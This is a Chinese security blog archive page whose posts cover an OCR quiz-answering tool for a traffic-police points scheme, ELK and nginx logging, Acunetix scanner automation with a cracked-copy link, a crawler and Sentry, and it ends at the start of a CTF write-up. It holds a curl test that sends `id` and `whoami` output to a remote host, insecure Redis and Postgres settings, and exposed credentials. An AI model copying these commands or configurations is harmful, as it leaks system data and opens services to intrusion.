关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 2 Comments

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

利用RELK进行日志收集

发布时间:April 3, 2018 // 分类:运维工作,开发笔记,python // No Comments

前不久在做应急的总是遇到要求对日志进行分析溯源,当时就想到如果对常见的日志类进行解析后统一入库处理,然后在对相关的IP/URL进行统计归纳。对于溯源之类的很是方便。想到数据量比较大,又要便于分析,就想到了ELK.

搭建一套基于elk的日志分析系统。
系统centos 内存4G 双核

大概架构如此

1.elk搭建

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

整个elk系统搭建好了,安装redis作为agent收集日志来作为logstash的输入源

wget http://download.redis.io/redis-stable.tar.gz
tar zxf redis-stable.tar.gz 
cd redis-stable
make && make install

修改redis.conf。

bind 0.0.0.0
protected-mode no
daemonize yes
maxclients 1000000

启动redis

sudo redis.conf /etc/
redis-server /etc/redis.conf

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。
file:从文件中读取
syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。
redis:从redis-server list 中获取
beat:接收来自Filebeat的事件
Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。
grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。
mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。
drop: 完全丢弃事件,如debug事件。
clone: 复制事件,可能添加或者删除字段。
geoip: 添加有关IP地址地理位置信息。
output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:
elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。
file: 将事件数据写入到磁盘文件上。
mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。
redis:将数据发送至redis-server,常用于中间层暂时缓存。
graphite: 发送事件数据到graphite。http://graphite.wikidot.com/
statsd: 发送事件数据到 statsd。

编写logstash的配置文件。对所有的数据全盘接受,感谢Mosuan师傅的指导。

input {    
    redis {
        host => '127.0.0.1'
    port => 6379
        password => 'password'
        data_type => 'list'
        key => 'logstash:redis'
    }
}
output {
    elasticsearch { hosts => localhost }
    stdout { codec => rubydebug }
}

Logpara

一个对常见的web日志进行解析处理的粗糙DEMO。

Python 2.7 License

目标

  • 对被请求的URL进行解析,解析出是否常见的攻击方式
  • 对来访的IP进行深度解析,包含经纬度,物理地址
  • 对来访的UA进行深度解析,解析出设备,浏览器种类,是否爬虫
  • 把全部的日志解析了入库,做RELK处理

TO DO

  • 对入库elasticsearch的日志进行处理并展示

Useage

  • 使用之前先修改common/units.py

    redis_host = '192.168.87.222'
    redis_port = 6379
    redis_pass = 'cft67ygv'
    redis_db = 0
    redis_key = 'logstash:redis'
    
  • 使用
Usage: main.py --type IIS|Apache|Tomcat|Nginx --file file|directory

log parser

Options:
  -h, --help   show this help message and exit
  --type=TYPE  chose which log type
  --file=FILE  chose file or directory

脚本地址:https://github.com/0xa-saline/Logpara

导入后的结果类似


单个查看

如果基于nginx还可以收集post数据,在溯源取证以及日志分析都是有很好的帮助。

nginx 接受post数据

发布时间:December 6, 2017 // 分类:运维工作,开发笔记,工作日志,linux // No Comments

开始使用的是apache.发现如果需要记录post数据还的使用其他的模块或者去hookapache来实现.后来发现nginx可以记录post数据

log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
             '$status $body_bytes_sent "$http_referer" '
             '"$http_user_agent" $http_x_forwarded_for';
  1. $request_body变量由nginx自身提供,用于记录POST请求日志

最后实现了可以获取post数据的内容

log_format  access  '$remote_addr  $remote_user  [$time_local]  $request '
             '$status  $body_bytes_sent  $http_referer   '
             '$http_user_agent $http_x_forwarded_for [$request_body]';

另外一个可以记录cookie和主机的

log_format  access  '$remote_addr  [$time_local]  $host $request $status $http_referer $http_user_agent $http_cookie [$request_body]';  

考虑下body_bytes_sent是不是可以不用
日志的地方

access_log  /data/logs/access.log access;

重启下nginx后测试

curl -d cmd=`id|base64` http://0cx.cc/\?cmd\=$(whoami) --refer $(id|base64) --user-agent $(id|base64)

抓取到的日志是

参考文档
Nginx 使用 lua-nginx-module 来获取post请求中的request和response信息
http://www.jianshu.com/p/78853c58a225
解决nginx在记录post数据时 中文字符转成16进制的问题
http://www.jianshu.com/p/8f8c2b5ca2d1

wvs如何应对频频提示激活

发布时间:September 15, 2017 // 分类:运维工作,工作日志,开发笔记 // 3 Comments

今天基友和我说起来wvs总是提示激活的时候没发扫描啊.于是就想了下咋个自动化或者快速的解决这个问题.总的来说我暂时知道的方法有两个。认真的激活或者禁止和服务器通信,就自然不会再激活

1.自动激活
虽然禁止了升级提示的频率有所减少。但是依旧会提示.所以就想办法搞了一个自动激活的脚本.加入计划任务。每天执行一次就好了…^_^

WScript.Echo "wvs auto Activation by Saline"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Activation.exe"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.Run "taskkill /im chrome.exe /f"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WScript.Echo "Activation finished"
WshShell.Run "proto.exe awvs://launch/"
WScript.Sleep 2500
WshShell.Run "taskkill /im chrome.exe /f"
WScript.Sleep 100
WScript.Echo "wvs restart finish"

把里面的chrome.exe换成自己的浏览器的程序就好了.把脚本保存为xxx.vbs.放入到wvs的安装目录.重新建一个bat

cd C:\Program Files (x86)\Acunetix 11\11.0.170951158
cscript reactive.vbs
exit

然后把这个bat加入计划任务

schtasks  /create  /tn  wvs_active /tr  c:\wvs_task.bat  /sc  DAILY /st  00:30:00  


好不容易熬到了00:30.不知道为嘛要设定这个时间.

本来想录制gif的.奈何没有搞定.
http://www.iqiyi.com/w_19rv72o4ch.html

2.把地址加入hosts
这个是一个大牛提出来的.我还没有测试.

还有更多的期望大牛们来提供补充

整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 12 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

修改了一个爬虫htcap

发布时间:June 24, 2017 // 分类:开发笔记,代码学习,python // No Comments

修改htcap的数据库为mysql

好懒..拖延症.....本来早两个月以前就应该完成了的东西.在基友的催促下匆忙的修改了一下.修改了一个爬虫htcap,这个爬虫强大之处就是基于PhantomJS 实现的.数据库本来这个是基于sqlite3的.本屌感觉这个爬虫其实功能还是不错的.于是就修改了数据库为mysql.还稍微增加了一些功能

大概新增的功能如下

0.禁止dns刷新缓存 done

1.修改htcap的数据库为mysql done

2.增加常见统计代码和分享网站的过滤功能 done

3.增加常见静态后缀的识别 done

4.获取url在原有的robots基础上增加目录爆破和搜索引擎采集.识别一些不能访问的目录 done

5.砍掉sqlmap和Arachni扫描功能. done

6.增加页面信息识别功能.

7.增加重复去重和相似度去重功能

列举说明下

0x00.禁止dns刷新缓存

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket  
import requests
_dnscache={}  
def _setDNSCache():  
    """ 
    Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. 
    """  

    def _getaddrinfo(*args, **kwargs):  
        global _dnscache  
        if args in _dnscache:  
            print str(args)+" in cache"  
            return _dnscache[args]  

        else:  
            print str(args)+" not in cache"    
            _dnscache[args] = socket._getaddrinfo(*args, **kwargs)  
            return _dnscache[args]  

    if not hasattr(socket, '_getaddrinfo'):  
        socket._getaddrinfo = socket.getaddrinfo  
        socket.getaddrinfo = _getaddrinfo  



def test(url):  
    _setDNSCache()  
    import time
    start = time.time()
    requests.get(url)
    end = time.time()
    print "first \t"+str(end-start)
    requests.get(url)
    sect = time.time()
    print "second \t"+str(sect - end)
    requests.get(url)
    print "third \t"+str(time.time() - sect)


if __name__ == '__main__':  
    url = "http://testphp.vulnweb.com"
    test(url)  

执行的结果还是比较满意

('0cx.cc', 80, 0, 1) not in cache
first   1.11360812187
('0cx.cc', 80, 0, 1) in cache
second  0.933846950531
('0cx.cc', 80, 0, 1) in cache
third   0.733961105347

但是又不是每一次都是ok的

('github.com', 443, 0, 1) not in cache
first   1.77086091042
('github.com', 443, 0, 1) in cache
second  2.0764131546
('github.com', 443, 0, 1) in cache
third   3.75542092323

不过这个方案虽好,但也有缺陷,罗列如下:
1.相当于只对socket.getaddrinfo打了一个patch,但socket.gethostbyname,socket.gethostbyname_ex还是走之前的策略
2.只对本程序有效,而修改/etc/hosts将对所有程序有效,包括ping

0x01.修改htcap的数据库为mysql

vi core/lib/DB_config.py
    #数据库信息
    'host' : 'localhost',
    'user' : 'root',
    'port' : '3306',
    'password' : 'mysqlroot',
    'db' : 'w3a_scan',

0x02.增加常见统计代码和分享网站的过滤功能

    def urlfilter(self):
        IGNORE_DOMAIN = [   #强制过滤域名.常见的bat和一些统计分享类的网站
            'taobao.com','51.la','weibo.com','qq.com','t.cn','baidu.com','gravatar.com','cnzz.com','51yes.com',
            'google-analytics.com','tanx.com','360.cn','yy.com','163.com','263.com','eqxiu.com','','gnu.org','github.com',
            'facebook.com','twitter.com','google.com'
        ]

....
and so on

测试站testphp.vulnweb.com

效果如下

1.没有做采集以及没有去重处理

. . initialized, crawl started with 10 threads
[=================================]   66 of 66 pages processed in 8 minutes
Crawl finished, 66 pages analyzed in 8 minutes


2.没有做采集和但是去重处理

3.做采集以及去重处理

. initialized, crawl started with 10 threads
[=================================]   108 of 108 pages processed in 43 minutes
Crawl finished, 108 pages analyzed in 43 minutes

ps:
采集前后的区别 66 108
去重前后的区别 85 65

唯一的缺点就是PhantomJS这玩意太特么占内存了..

https://github.com/0xa-saline/htcap_mysql

PS:因为PhantomJS作者不再维护PhantomJS项目了..估计这个也不会继续更新了

另外,不承担解决该爬虫导致的bug的问题

调用Acunetix11 API接口实现扫描

发布时间:May 19, 2017 // 分类:开发笔记,运维工作,工作日志,linux,windows // 12 Comments

实际上关于api的文档很少很少.从网络中找了好会才发现俩

1.获取API-KEY
首先来获取一个API-KEY
通过右上角Administrator--Profile

2.建立一个扫描目标

在演示一个扫描之前您将需要会在您想要扫描的网站上建立一个扫描目标。您将需要利用(POST)目标终端去实现它。使用cURL:

curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: apikey" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnweb.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL(就是你安装了Acunetix11 的电脑)
- API-KEY - 这是Acunetix11的API-KEY,如果你安装了就可以在页面右上角的Administration中生成KEY了。
- http://testphp.vulnweb.com - 是您想要添加的一个扫描目标网址.务必带上http|https
- testphp.vulnweb.com - 是描述扫描目标的词句(非必填)
- 10 - 是目标的临界值 (Critical [30], High [20], Normal [10], Low [0])

命令成功之后会201,以及其它一些数据,其中包括target_id(返回结果中locations最后的一截字符串)


C:\Users\Administrator\Desktop
> curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnw b.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"
{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "criticality": 10,
 "address": "http://testphp.vulnweb.com/",
 "description": "testphp.vulnweb.com"
}

3.在一个创建好的目标上运行一个扫描

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- TARGET-ID - 是您从之前的JSON回复中得到的target_id值
- 11111111-1111-1111-1111-111111111111 - 是扫描profile ID。通过使用(GET)scanning_profiles 端点获得的列表,列表包括了扫描profile和他们的ID。

关于获取target_id

> curl -k https://127.0.0.1:3443/api/v1/scanning_profiles --header "X-Auth: API_KEY"
{
 "scanning_profiles": [
  {
   "custom": false,
   "checks": [],
   "name": "Full Scan",
   "sort_order": 1,
   "profile_id": "11111111-1111-1111-1111-111111111111"
  },
  {
   "custom": false,
   "checks": [],
   "name": "High Risk Vulnerabilities",
   "sort_order": 2,
   "profile_id": "11111111-1111-1111-1111-111111111112"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Cross-site Scripting Vulnerabilities",
   "sort_order": 3,
   "profile_id": "11111111-1111-1111-1111-111111111116"
  },
  {
   "custom": false,
   "checks": [],
   "name": "SQL Injection Vulnerabilities",
   "sort_order": 4,
   "profile_id": "11111111-1111-1111-1111-111111111113"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Weak Passwords",
   "sort_order": 5,
   "profile_id": "11111111-1111-1111-1111-111111111115"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Crawl Only",
   "sort_order": 6,
   "profile_id": "11111111-1111-1111-1111-111111111117"
  }
 ]
}

启动一个扫描任务

> curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"
HTTP/1.1 201 Created
Pragma: no-cache
Content-type: application/json; charset=utf8
Cache-Control: no-cache, must-revalidate
Expires: -1
Location: /api/v1/scans/a6e36dd0-9976-46a7-9740-29f897f911d6
Date: Fri, 19 May 2017 03:40:12 GMT
Transfer-Encoding: chunked

{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "ui_session_id": null,
 "schedule": {
  "disable": false,
  "start_date": null,
  "time_sensitive": false
 },
 "profile_id": "11111111-1111-1111-1111-111111111111"
}

4.查看任务扫描的状态

先获取扫描任务的scan_id

curl -k --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth:API_KEY" --header "content-type: application/json"

查看具体scan_id 的扫描细节

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46 --header "X-Auth:API-KEY" --header "content-type: application/json"

5.停止任务

apiurl+/scans/+scan_id+/abort

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46/abort --header "X-Auth:API-KEY" --header "content-type: application/json"

6.生成模板

获取模板

curl -k --url https://127.0.0.1:3443/api/v1/report_templates --header "X-Auth:API-KEY" --header "content-type: application/json"

生成报告

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/reports --header "X-Auth: API-KEY" --header "content-type: application/json" --data "{\"template_id\":\"11111111-1111-1111-1111-111111111111\",\"source\":{\"list_type\":\"scans\", \"id_list\":[\"SCAN-ID\"]}}

其中:
- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- SCAN-ID - 是您从之前的JSON回复中获得的scan_id。

会有一个201 HTTP回复显示了请求是成功的 ,并且会包含一个带有id的Location header(例如 Location: /api/v1/reports/54f402f6-7a60-4934-952f-45bfe6c4abf4 )。一旦报告被URL: https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.pdf 访问,这个id可以被用来下载报告。最新版本还会提供HTML版本的报告,并且可以从https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.html 访问。

参考

1.https://github.com/jenkinsci/acunetix-plugin/blob/master/src/main/java/com/acunetix/Engine.java
2.http://blog.csdn.net/qq_31497435/article/details/64441474

有小伙伴问哪里有这个下载

来自吾爱大神Hmily作品,不多说。
原帖:http://www.52pojie.cn/thread-609275-1-1.html
网盘:http://pan.baidu.com/s/1c1JoyBm 密码:hyue
【由于之前被举报无法分享,这次原文件和补丁都加了压缩密码:www.52pojie.cn】

如何开启远程访问
安装的时候选择允许远程访问

#!/usr/bin/python
# -*- coding: utf-8 -*-

import json
import requests
import requests.packages.urllib3
'''
import requests.packages.urllib3.util.ssl_
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'ALL'

or 

pip install requests[security]
'''
requests.packages.urllib3.disable_warnings()

tarurl = "https://127.0.0.1:3443/"
apikey="yourapikey"
headers = {"X-Auth":apikey,"content-type": "application/json"}

def addtask(url=''):
    #添加任务
    data = {"address":url,"description":url,"criticality":"10"}
    try:
        response = requests.post(tarurl+"/api/v1/targets",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        return result['target_id']
    except Exception as e:
        print(str(e))
        return

def startscan(url):
    # 先获取全部的任务.避免重复
    # 添加任务获取target_id
    # 开始扫描
    targets = getscan()
    if url in targets:
        return "repeat"
    else:
        target_id = addtask(url)
        data = {"target_id":target_id,"profile_id":"11111111-1111-1111-1111-111111111111","schedule": {"disable": False,"start_date":None,"time_sensitive": False}}
        try:
            response = requests.post(tarurl+"/api/v1/scans",data=json.dumps(data),headers=headers,timeout=30,verify=False)
            result = json.loads(response.content)
            return result['target_id']
        except Exception as e:
            print(str(e))
            return

def getstatus(scan_id):
    # 获取scan_id的扫描状况
    try:
        response = requests.get(tarurl+"/api/v1/scans/"+str(scan_id),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        status = result['current_session']['status']
        #如果是completed 表示结束.可以生成报告
        if status == "completed":
            return getreports(scan_id)
        else:
            return result['current_session']['status']
    except Exception as e:
        print(str(e))
        return

def getreports(scan_id):
    # 获取scan_id的扫描报告
    data = {"template_id":"11111111-1111-1111-1111-111111111111","source":{"list_type":"scans","id_list":[scan_id]}}
    try:
        response = requests.post(tarurl+"/api/v1/reports",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = response.headers
        report = result['Location'].replace('/api/v1/reports/','/reports/download/')
        return tarurl.rstrip('/')+report
    except Exception as e:
        print(str(e))
        return

def getscan():
    #获取全部的扫描状态
    targets = []
    try:
        response = requests.get(tarurl+"/api/v1/scans",headers=headers,timeout=30,verify=False)
        results = json.loads(response.content)
        for result in results['scans']:
            targets.append(result['target']['address'])
            print result['scan_id'],result['target']['address'],getstatus(result['scan_id'])#,result['target_id']
        return list(set(targets))
    except Exception as e:
        raise e

if __name__ == '__main__':
    print startscan('http://testhtml5.vulnweb.com/')

实际测试效果

ps。在屌大牛的帮助下。抓到了pg数据库的连接信息.然后连蒙带猜的弄到了连接密码【ps:其实配置文件里面写好了本地连接压根不需要密码23333.好尴尬】

有小伙伴问我如何获取详细数据.仔细思考了一圈,发现有一个办法.就是开启postgresql允许远程连接
1.找到postgresql.conf位置

C:\Program Files (x86)\Acunetix 11
> find \ -name "postgresql.conf"
\/ProgramData/Acunetix 11/db/postgresql.conf

在C:\ProgramData\Acunetix 11\db下.

打开后修改第一行地址localhost为*

#listen_addresses = 'localhost'
listen_addresses = '*'

再到同目录下找到pg_hba.conf。在# IPv4 local connections: 行下,添加一行内容为:

# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
host    all             wvs             192.168.0.0/24          trust

此处解释:192.168.0.0/24。意思为允许192.168.0段内的ip可以无密码连接。添加完成后,保存。

重启Acunetix Database服务.

基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

神秘小姐姐的留言板

发布时间:March 17, 2017 // 分类:PHP,开发笔记,代码学习,代码审计 // No Comments

太久没有搞过这种耗脑子的游戏了

地址:http://c.bugscan.net/#!/boss/12

访问地址发现一任意文件读取

http://112.126.88.39:10247/include.php?file=suanfa.php

各种读以后发现medium.php中存在注入

<?php 
